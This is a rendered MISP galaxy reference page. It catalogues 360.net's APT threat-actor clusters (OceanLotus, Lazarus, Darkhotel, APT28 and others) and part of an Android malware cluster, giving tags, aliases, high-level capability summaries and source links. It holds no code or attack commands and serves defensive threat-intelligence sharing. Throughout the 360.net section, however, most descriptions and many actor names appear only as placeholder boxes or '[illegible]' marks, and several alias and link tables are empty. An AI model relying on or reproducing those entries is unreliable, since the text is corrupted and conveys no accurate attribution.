MISP Galaxy Clusters

MISP Galaxy Cluster

Introduction

MISP Threat Sharing

The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.

MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.

Funding and Support

The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg .

A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as **Improving MISP as building blocks for next-generation information sharing**.

If you are interested to co-fund projects around MISP, feel free to get in touch with us.

MISP galaxy

360.net Threat Actors

Known or estimated adversary groups as identified by 360.net..

360.net Threat Actors is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

360.net

CIA - APT-C-39

□□□□□□□□□□□Central Intelligence Agency□□□“□□□□□□□□□”□ □□□

The tag is: *misp-galaxy:360net-threat-actor="CIA - APT-C-39"*

CIA - APT-C-39 is also known as:

- Lamberts
- longhorn

Table 1. Table References

Links
https://apt.360.net/report/apts/12.html
https://apt.360.net/report/apts/96.html

□□□ - APT-C-00

□□□□OceanLotus□APT□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□360□□□□□□□□□□□□2012□4□□□□□□□□□□□□□□□□□□□□□□□□□□ □□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-00"*

□□□ - APT-C-00 is also known as:

- OceanLotus

Table 2. Table References

Links

https://apt.360.net/report/apts/94.html
https://apt.360.net/report/apts/1.html
https://apt.360.net/report/apts/93.html

□□□ - APT-C-09

□□□□□□APT-C-09□□□□HangOver□VICEROY TIGER□The Dropping Elephant□Patchwork□□□□□□□□□□□□□□APT□□□□□□□□□□□7□□□□□□□□□Norman□□□□□2013□□□2009□11□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-09"*

□□□ - APT-C-09 is also known as:

- HangOver
- VICEROY TIGER
- The Dropping Elephant
- Patchwork

Table 3. Table References

Links
https://apt.360.net/report/apts/110.html
https://apt.360.net/report/apts/6.html

□□□ - APT-C-27

□2014□11□□□□□□□□□□□□APT-C-27□□□Windows□□□□□□□Android□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-27"*

□□□ - APT-C-27 is also known as:

Table 4. Table References

Links
https://apt.360.net/report/apts/26.html
https://apt.360.net/report/apts/100.html
https://apt.360.net/report/apts/98.html

Lazarus - APT-C-26

Lazarus□□□□□□□□APT□□2007□□

The tag is: *misp-galaxy:360net-threat-actor="Lazarus - APT-C-26"*

Lazarus - APT-C-26 is also known as:

- APT38

Table 5. Table References

Links
https://apt.360.net/report/apts/9.html
https://apt.360.net/report/apts/90.html
https://apt.360.net/report/apts/101.html

□□□ - APT-C-34

[illegible]HackingTeam□NSO Group[illegible]0day[illegible]360[illegible]APT-C-34□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-34"*

□□□ - APT-C-34 is also known as:

Table 6. Table References

Links
https://apt.360.net/report/apts/11.html

□□□ - APT-C-36

□2018□4[illegible]APT[illegible]APT-C-36[illegible]

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-36"*

□□□ - APT-C-36 is also known as:

Table 7. Table References

Links
https://apt.360.net/report/apts/83.html

□□ - APT-C-31

2018□11□25□□360[illegible]APT[illegible]Flash 0day□□cve-2018-15982□Hacking Team□RCS[illegible]360[illegible]APT[illegible]“□□”□□□

The tag is: *misp-galaxy:360net-threat-actor="□□ - APT-C-31"*

□□ - APT-C-31 is also known as:

Table 8. Table References

Links
https://apt.360.net/report/apts/10.html

ArmaRat - APT-C-33

2016□7□□360□□□□□□□□Android□□□□□□□□□□□□APT□□□□□□□□□□□□□□□Telegram□□□□□□□ArmaRat□□C&C□□□□□□□□“arma”□□□□□□□□□□□□□□□□□“ArmaRat”□

The tag is: *misp-galaxy:360net-threat-actor="ArmaRat - APT-C-33"*

ArmaRat - APT-C-33 is also known as:

Table 9. Table References

Links
https://apt.360.net/report/apts/48.html

□□□ - APT-C-38

□2015□7□□□□□□□□□□□□APT-C-38□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□Windows□Android□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□Windows□RAT□□□PDB□□□□□□□□“Saber”□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□360□ APT □□□□□□□□□□□□□□□□□□□□□□□APT-C-38□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-38"*

□□□ - APT-C-38 is also known as:

Table 10. Table References

Links
https://apt.360.net/report/apts/30.html

□□□ - APT-C-37

□□□□□□APT-C-37□□□□□□□“□□□□”□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□Windows□Android□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-37"*

□□□ - APT-C-37 is also known as:

Table 11. Table References

Links
https://apt.360.net/report/apts/103.html

https://apt.360.net/report/apts/28.html

□□□ - APT-C-15

APT-C-15□□□□□□□□□□□□□APT□□□ APT-C-15□□□□□□□□,□□2014□6□□2015□11□□□□□□□□□□□□□□□□□2011□12□□□□□□□□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-15"*

□□□ - APT-C-15 is also known as:

Table 12. Table References

Links
https://apt.360.net/report/apts/8.html

□□□ - APT-C-07

□□□□□□APT-C-07□□□□□□□□□□□APT□□□□□□□□□9□□ □□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-07"*

□□□ - APT-C-07 is also known as:

Table 13. Table References

Links
https://apt.360.net/report/apts/4.html

□□□ - APT-C-23

2016□1□□ Windows □ Android□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-23"*

□□□ - APT-C-23 is also known as:

Table 14. Table References

Links
https://apt.360.net/report/apts/27.html

□□□ - APT-C-12

□2011□□□□□□□□□□□□□□□□□□□□APT-C-12□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-12"*

□□□ - APT-C-12 is also known as:

- □□□□□□Operation NuclearCrisis□

Table 15. Table References

Links
https://apt.360.net/report/apts/7.html

□□□ - APT-C-01

□2007□□□□□□360□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-01"*

□□□ - APT-C-01 is also known as:

- □□
- □□□
- □□

Table 16. Table References

Links
https://apt.360.net/report/apts/2.html

Darkhotel - APT-C-06

Darkhotel□APT-C-06□□APT□□□2014□11□□□□□□□□□□□□□□□□□□□Darkhotel APT□□□□□□□□□□□□□□□□2010□□□□□□□□□□□□□□□□□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06"*

Darkhotel - APT-C-06 is also known as:

- Luder
- Karba
- Tapaoux
- Dubnium
- SIG25

Table 17. Table References

Links

https://apt.360.net/report/apts/3.html
https://apt.360.net/report/apts/97.html

□□□ - APT-C-20

APT28(APT-C-20)□□□Pawn Storm□Sofacy□Sednit□Fancy Bear□Strontium□APT28□□□□□□□□□□□□□□□□□□□□□2007□□□□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-20"*

□□□ - APT-C-20 is also known as:

- Pawn Storm
- Sofacy Group
- Sednit
- Fancy Bear
- STRONTIUM

Table 18. Table References

Links
https://apt.360.net/report/apts/120.html
https://apt.360.net/report/apts/72.html

□□ - APT-C-13

□□2018□□□□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□ - APT-C-13"*

□□ - APT-C-13 is also known as:

- SandWorm

Table 19. Table References

Links
https://apt.360.net/report/apts/69.html
https://apt.360.net/report/apts/87.html

□□□ - APT-C-35

□□□□APT-C-35□□□□□□□APT□□□□□□□□□3□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□2016□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-35"*

□□□ - APT-C-35 is also known as:

- donot

Table 20. Table References

Links
https://apt.360.net/report/apts/102.html
https://apt.360.net/report/apts/32.html

□□□ - APT-C-08

□□□2013□11□□□□□□□□□□□□□2015□7□□2016□9□□□□2016□□□□□□□Forcepoint□□□□□□□□□□□□□□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-08"*

□□□ - APT-C-08 is also known as:

Table 21. Table References

Links
https://apt.360.net/report/apts/5.html

□□□□ - APT-C-16

□□□□□□□APT-C-16□□□□Sauron□Strider□□□2010□□Equation□□□□□□□□□□□□□□□Stuxnet□□□□□Flame□□APT□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□□ - APT-C-16"*

□□□□ - APT-C-16 is also known as:

- Sauron
- Strider

Table 22. Table References

Links
https://apt.360.net/report/apts/70.html

□□□ - APT-C-30

□□□2009□□□□□□□□□□□□2008□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-30"*

□□□ - APT-C-30 is also known as:

Table 23. Table References

Links
https://apt.360.net/report/apts/82.html

□□□ - APT-C-24

“□□□”APT□□□□T-APT-04□□□□□□□□□□□□□□□□□□2012□□□□□□□□□□□□□□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-24"*

□□□ - APT-C-24 is also known as:

- SideWinder

Table 24. Table References

Links
https://apt.360.net/report/apts/92.html

ScarCruft - APT-C-28

APT-C-28□□□□□ScarCruft□APT37 □Reaper□□Group123□□□□□□□□□□□□□□APT□□□□□□□□□□□□□□□2012□□□□□□□□□□□□□APT-C-28□□

The tag is: *misp-galaxy:360net-threat-actor="ScarCruft - APT-C-28"*

ScarCruft - APT-C-28 is also known as:

- APT37□Reaper□
- Group123

Table 25. Table References

Links
https://apt.360.net/report/apts/79.html

Turla - APT-C-29

Turla□□

The tag is: *misp-galaxy:360net-threat-actor="Turla - APT-C-29"*

Turla - APT-C-29 is also known as:

- uroburos

Table 26. Table References

Links
https://apt.360.net/report/apts/88.html
https://apt.360.net/report/apts/81.html

Carbanak - APT-C-11

Carbanak(□Anunak)□□□□□□□□□□□□□□□□□□□2013□□□□□□□□□□□□□□□30□□□□□□□100□□□

The tag is: *misp-galaxy:360net-threat-actor="Carbanak - APT-C-11"*

Carbanak - APT-C-11 is also known as:

- Anunak

Table 27. Table References

Links
https://apt.360.net/report/apts/68.html

□□ - APT-C-17

“□□”□□□□□□□□□□□□□□□□2013□1□□□□□□□2014□3□□

The tag is: *misp-galaxy:360net-threat-actor="□□ - APT-C-17"*

□□ - APT-C-17 is also known as:

Table 28. Table References

Links
https://apt.360.net/report/apts/71.html

□□□ - APT-C-40

APT-C-40(□□□)□□□□□□□□□□□□□□□□□□□□□□20□□□Stuxnet□□□□□Flame□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-40"*

□□□ - APT-C-40 is also known as:

Table 29. Table References

Links
https://apt.360.net/report/apts/85.html

□□□□ - APT-C-56

□□□□□Transparent Tribe□□□APT36□ProjectM□C-Major□□□□□□□□□□APT□□□CrimsonRAT□□□□□□□□□□USB□□□TransparentTribe□□□□Donot□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□□ - APT-C-56"*

□□□□ - APT-C-56 is also known as:

- APT36
- ProjectM
- C-Major

Table 30. Table References

Links

□□□ - APT-C-61

□2020□□□□□□□□□□□□□□□□APT□□□□□□□□□□□□□2020□1□□□□□□□□□□APT□□□APT□□□□□□□□□□□□□□□□□□APT□□C2□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□python□□□□□□□□□□□□□□□□□□□□□□APT-C-61□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-61"*

□□□ - APT-C-61 is also known as:

Table 31. Table References

Links

Kimsuky - APT-C-55

Kimsuky □□□□□□APT□□,□□(Mystery Baby, Baby Coin, Smoke Screen, BabyShark, Cobra Venom)□□□□□Kaspersky□2013□□□hwp□□□□□□□□□□□□□□□PE□□□□

The tag is: *misp-galaxy:360net-threat-actor="Kimsuky - APT-C-55"*

Kimsuky - APT-C-55 is also known as:

Table 32. Table References

Links

□□□□□□ - APT-C-46

2019□□□□□□□□□□□□□□□□□□□□□□□□□□□□APT□□□2014□□

The tag is: *misp-galaxy:360net-threat-actor="□□□□□□ - APT-C-46"*

□□□□□□ - APT-C-46 is also known as:

- APT-C-46

Table 33. Table References

Links
https://apt.360.net/report/apts/169.html

□□□□ - APT-C-47

360 □□□□□□□□□□□ ClickOnce □□□□□□□□□□□□□□ 360 □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ APT □□□□□□□□□□□□□□□□□□□□□□□□□□□□ 2018 □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□360□□□ClickOnce □□□□□□□□□□□□□□□□□□□“□□”□□□

The tag is: *misp-galaxy:360net-threat-actor="□□□□ - APT-C-47"*

□□□□ - APT-C-47 is also known as:

- APT-C-47

Table 34. Table References

Links
https://apt.360.net/report/apts/168.html

DomesticKitten - APT-C-50

Domestic Kitten□□□APT-C-50□□□□□□□□□□□□□□□□□2016□□□ISIS□□□IRGC□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□

The tag is: *misp-galaxy:360net-threat-actor="DomesticKitten - APT-C-50"*

DomesticKitten - APT-C-50 is also known as:

- APT-C-50

Table 35. Table References

Links

https://apt.360.net/report/apts/166.html

SandCat - APT-C-32

APT-C-32

The tag is: *misp-galaxy:360net-threat-actor="SandCat - APT-C-32"*

SandCat - APT-C-32 is also known as:

Table 36. Table References

Links

APT_CNC - APT-C-48

APT-C-48

The tag is: *misp-galaxy:360net-threat-actor="APT_CNC - APT-C-48"*

APT_CNC - APT-C-48 is also known as:

Table 37. Table References

Links

□□□□ - APT-C-41

□□□□□APT-C-41□□□□□□Promethium□StrongPity□□APT□□□□□□□□□□□□□□2012□□□360□□□□□□□□□□□2020□1□□□□□□□□□□□□□□□□□□□□□□□□□□V4□□□□□□□□□□360□□□APT-C-41□□□□□□□□□□□□□□□□□□□□□□“□□□□”□

The tag is: *misp-galaxy:360net-threat-actor="□□□□ - APT-C-41"*

□□□□ - APT-C-41 is also known as:

- StrongPity

Table 38. Table References

Links
https://apt.360.net/report/apts/158.html

Machete - APT-C-43

Machete

The tag is: *misp-galaxy:360net-threat-actor="Machete - APT-C-43"*

Machete - APT-C-43 is also known as:

- Machete

Table 39. Table References

Links
https://apt.360.net/report/apts/159.html

Gamaredon - APT-C-53

APT-C-53

The tag is: *misp-galaxy:360net-threat-actor="Gamaredon - APT-C-53"*

Gamaredon - APT-C-53 is also known as:

Table 40. Table References

Links

□□□ - APT-C-44

360□□□□□□□360□□2017□10□□□□□□□□□□□□□□Windows□Android□□□APT-C-44□□

The tag is: *misp-galaxy:360net-threat-actor="□□□ - APT-C-44"*

□□□ - APT-C-44 is also known as:

Table 41. Table References

Links
https://apt.360.net/report/apts/157.html

WellMess - APT-C-42

WellMess□□□□□□□□□□□□□□□□APT□□□□□□□□□□□□□□□□2017□2019□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□2018□□□□□□□□□□□□□□□□□□□□□□□□□□APT□□□

□2019□□360□□□□□□□□□□□□□WellMess□□□□□□APT□□□□□□□□□□□□□□□□□□□□□2017□12□□□□□□□2019□12□□□□WellMess□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□APT□□□□□□□□APT-C-42□□□APT□□□□□

The tag is: *misp-galaxy:360net-threat-actor="WellMess - APT-C-42"*

WellMess - APT-C-42 is also known as:

Table 42. Table References

Links
https://apt.360.net/report/apts/136.html

Android

Android malware galaxy based on multiple open sources..

Android is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
Unknown

CopyCat

CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.

The tag is: *misp-galaxy:android="CopyCat"*

Table 43. Table References

Links
https://blog.checkpoint.com/2017/07/06/how-the-copycat-malware-infected-android-devices-around-the-world/

Andr/Dropr-FH

Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.

The tag is: *misp-galaxy:android="Andr/Dropr-FH"*

Andr/Dropr-FH is also known as:

- GhostCtrl

View relationships graph

Andr/Dropr-FH has relationships with:

- similar: misp-galaxy:malpedia="GhostCtrl" with estimative-language:likelihood-probability="likely"

Table 44. Table References

Links

https://nakedsecurity.sophos.com/2017/07/21/watch-out-for-the-android-malware-that-snoops-on-your-phone/
https://www.neowin.net/news/the-ghostctrl-android-malware-can-silently-record-your-audio-and-steal-sensitive-data

Judy

The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.

The tag is: *misp-galaxy:android="Judy"*

Table 45. Table References

Links
http://fortune.com/2017/05/28/android-malware-judy/
https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/

RedAlert2

The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user's credentials and sends them to its C&C server.

The tag is: *misp-galaxy:android="RedAlert2"*

View relationships graph

RedAlert2 has relationships with:

- similar: misp-galaxy:malpedia="RedAlert2" with estimative-language:likelihood-probability="likely"

Table 46. Table References

Links
https://www.bleepingcomputer.com/news/security/researchers-discover-new-android-banking-trojan/
https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html

Tizi

Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.

The tag is: *misp-galaxy:android="Tizi"*

Table 47. Table References

Links
https://security.googleblog.com/2017/11/tizi-detecting-and-blocking-socially.html

DoubleLocker

DoubleLocker can change the device's PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.

The tag is: *misp-galaxy:android="DoubleLocker"*

View relationships graph

DoubleLocker has relationships with:

- similar: misp-galaxy:malpedia="DoubleLocker" with estimative-language:likelihood-probability="likely"

Table 48. Table References

Links
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/

Svpeng

Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.

The tag is: *misp-galaxy:android="Svpeng"*

Svpeng is also known as:

- Invisble Man

View relationships graph

Svpeng has relationships with:

- similar: misp-galaxy:tool="Svpeng" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"

Table 49. Table References

Links
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/
https://www.theregister.co.uk/2017/08/02/banking_android_malware_in_uk/

LokiBot

LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.

The tag is: *misp-galaxy:android="LokiBot"*

View relationships graph

LokiBot has relationships with:

- similar: misp-galaxy:malpedia="Loki Password Stealer (PWS)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="LokiBot" with estimative-language:likelihood-probability="likely"

Table 50. Table References

Links
https://clientsidedetection.com/lokibot *_the_first_hybrid_android_malware.html[https://clientsidedetection.com/ lokibot*_the_first_hybrid_android_malware.html]

BankBot

The main goal of this malware is to steal banking credentials from the victim's device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.

The tag is: *misp-galaxy:android="BankBot"*

View relationships graph

BankBot has relationships with:

- similar: misp-galaxy:malpedia="Anubis (Android)" with estimative-language:likelihood-probability="likely"

Table 51. Table References

Links
https://blog.fortinet.com/2017/09/19/a-look-into-the-new-strain-of-bankbot
https://forensics.spreitzenbarth.de/android-malware/
https://blog.avast.com/mobile-banking-trojan-sneaks-into-google-play-targeting-wells-fargo-chase-and-citibank-customers

Viking Horde

In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.

The tag is: *misp-galaxy:android="Viking Horde"*

Table 52. Table References

Links
http://www.alwayson-network.com/worst-types-android-malware-2016/

HummingBad

A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.

The tag is: *misp-galaxy:android="HummingBad"*

View relationships graph

HummingBad has relationships with:

- similar: misp-galaxy:mitre-malware="HummingBad - S0322" with estimative-language:likelihood-probability="likely"

Table 53. Table References

Links
http://www.alwayson-network.com/worst-types-android-malware-2016/
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf

Ackposts

Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.

The tag is: *misp-galaxy:android="Ackposts"*

Table 54. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99

Wirex

Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.

The tag is: *misp-galaxy:android="Wirex"*

Table 55. Table References

Links
https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/
http://www.zdnet.com/article/wirex-ddos-malware-given-udp-flood-capabilities/

WannaLocker

WannaLocker is a strain of ransomware for Android devices that encrypts files on the device's external storage and demands a payment to decrypt them.

The tag is: *misp-galaxy:android="WannaLocker"*

Table 56. Table References

Links
https://fossbytes.com/wannalocker-ransomware-wannacry-android/

Switcher

Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router's admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.

The tag is: *misp-galaxy:android="Switcher"*

View relationships graph

Switcher has relationships with:

- similar: misp-galaxy:malpedia="Switcher" with estimative-language:likelihood-probability="likely"

Table 57. Table References

Links

http://www.zdnet.com/article/this-android-infecting-trojan-malware-uses-your-phone-to-attack-your-router/
https://www.theregister.co.uk/2017/01/03/android_trojan_targets_routers/
https://www.symantec.com/security_response/writeup.jsp?docid=2017-090410-0547-99

Vibleaker

Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user's phone for the Viber app, and then steal photos and videos recorded or sent through the app.

The tag is: *misp-galaxy:android="Vibleaker"*

Table 58. Table References

Links
http://news.softpedia.com/news/malicious-android-app-steals-viber-photos-and-BankBot-505758.shtml

ExpensiveWall

ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge

The tag is: *misp-galaxy:android="ExpensiveWall"*

Table 59. Table References

Links
https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/
http://fortune.com/2017/09/14/google-play-android-malware/

Cepsohord

Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.

The tag is: *misp-galaxy:android="Cepsohord"*

Table 60. Table References

Links
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord

Fakem Rat

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: *misp-galaxy:android="Fakem Rat"*

Table 61. Table References

Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99

GM Bot

GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.

The tag is: *misp-galaxy:android="GM Bot"*

GM Bot is also known as:

- Acecard
- SlemBunk
- Bankosy

View relationships graph

GM Bot has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 62. Table References

Links
https://blog.avast.com/android-trojan-gm-bot-is-evolving-and-targeting-more-than-50-banks-worldwide

Moplus

The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user's device, and this connection is established in the background without the user's knowledge.

The tag is: *misp-galaxy:android="Moplus"*

Table 63. Table References

Links
http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.

The tag is: *misp-galaxy:android="Adwind"*

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- Jsocket
- jRat
- Backdoor:Java/Adwind

View relationships graph

Adwind has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 64. Table References

Links
https://securelist.com/adwind-faq/73660/

AdSms

Adsms is a Trojan horse that may send SMS messages from Android devices.

The tag is: *misp-galaxy:android="AdSms"*

Table 65. Table References

Links
https://www.fortiguard.com/encyclopedia/virus/7389670
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051313-4039-99

Airpush

Airpush is a very aggresive Ad - Network

The tag is: *misp-galaxy:android="Airpush"*

Airpush is also known as:

- StopSMS

Table 66. Table References

Links
https://crypto.stanford.edu/cs155old/cs155-spring16/lectures/18-mobile-malware.pdf

BeanBot

BeanBot forwards device’s data to a remote server and sends out premium-rate SMS messages from the infected device.

The tag is: *misp-galaxy:android="BeanBot"*

Table 67. Table References

Links
https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml

Kemoge

Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.

The tag is: *misp-galaxy:android="Kemoge"*

View relationships graph

Kemoge has relationships with:

- similar: misp-galaxy:mitre-malware="ShiftyBug - S0294" with estimative-language:likelihood-probability="likely"

Table 68. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html
https://www.symantec.com/security_response/writeup.jsp?docid=2015-101207-3555-99

Ghost Push

Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.

The tag is: *misp-galaxy:android="Ghost Push"*

Table 69. Table References

Links
https://en.wikipedia.org/wiki/Ghost_Push
https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push

BeNews

The BeNews app is a backdoor app that uses the name of defunct news site BeNews to appear legitimate. After installation it bypasses restrictions and downloads additional threats to the compromised device.

The tag is: *misp-galaxy:android="BeNews"*

Table 70. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/fake-news-app-in-hacking-team-dump-designed-to-bypass-google-play/

Accstealer

Accstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Accstealer"*

Table 71. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012711-1159-99

Acnetdoor

Acnetdoor is a detection for Trojan horses on the Android platform that open a back door on the compromised device.

The tag is: *misp-galaxy:android="Acnetdoor"*

Table 72. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051611-4258-99

Acnetsteal

Acnetsteal is a detection for Trojan horses on the Android platform that steal information from the compromised device.

The tag is: *misp-galaxy:android="Acnetsteal"*

Table 73. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051612-0505-99

Actech

Actech is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Actech"*

Table 74. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080111-3948-99

AdChina

AdChina is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdChina"*

Table 75. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-2947-99

Adfonic

Adfonic is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adfonic"*

Table 76. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052615-0024-99

AdInfo

AdInfo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdInfo"*

Table 77. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2433-99

Adknowledge

Adknowledge is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adknowledge"*

Table 78. Table References

Links
